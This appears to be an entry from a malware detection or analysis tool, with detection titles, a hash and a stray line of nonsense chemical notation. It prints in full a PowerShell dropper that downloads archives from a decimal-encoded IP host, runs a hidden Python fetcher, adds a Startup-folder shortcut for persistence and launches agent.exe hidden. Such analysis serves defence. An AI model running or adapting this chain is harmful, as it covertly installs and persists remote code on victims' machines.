variant-renamed.ps1
Decimal-host download near saved Startup shortcutDecimal-host file download near hidden process launch
SHA-256503c21703e91b500022b154079adac570b653d58ba83fedcfaaf57c93e63c21b
MaleculeO₃(ErPXe₂)H₅(Cm₇Db₂F₄Os₆Po₃)
Evidence
1$cache = Join-Path $env:APPDATA 'CacheAgent'
2New-Item -ItemType Directory -Force $cache | Out-Null
3Invoke-WebRequest 'http://168430090/python.zip' -OutFile "$cache\python.zip"
4Expand-Archive "$cache\python.zip" "$cache\runtime" -Force
5$script = @'
6import urllib.request, zipfile
7urllib.request.urlretrieve('http://168430090/client.zip', 'client.zip')
8with zipfile.ZipFile('client.zip') as archive:
9 archive.extractall('client')
10'@
11Set-Content "$cache\install.py" $script
12Start-Process "$cache\runtime\python.exe" -ArgumentList "$cache\install.py" -WindowStyle Hidden -Wait -WorkingDirectory $cache
13$shell = New-Object -ComObject WScript.Shell
14$shortcut = $shell.CreateShortcut((Join-Path ([Environment]::GetFolderPath('Startup')) 'CacheAgent.lnk'))
15$shortcut.TargetPath = "$cache\client\agent.exe"
16$shortcut.WindowStyle = 7
17$shortcut.Save()
18Start-Process "$cache\client\agent.exe" -WindowStyle Hidden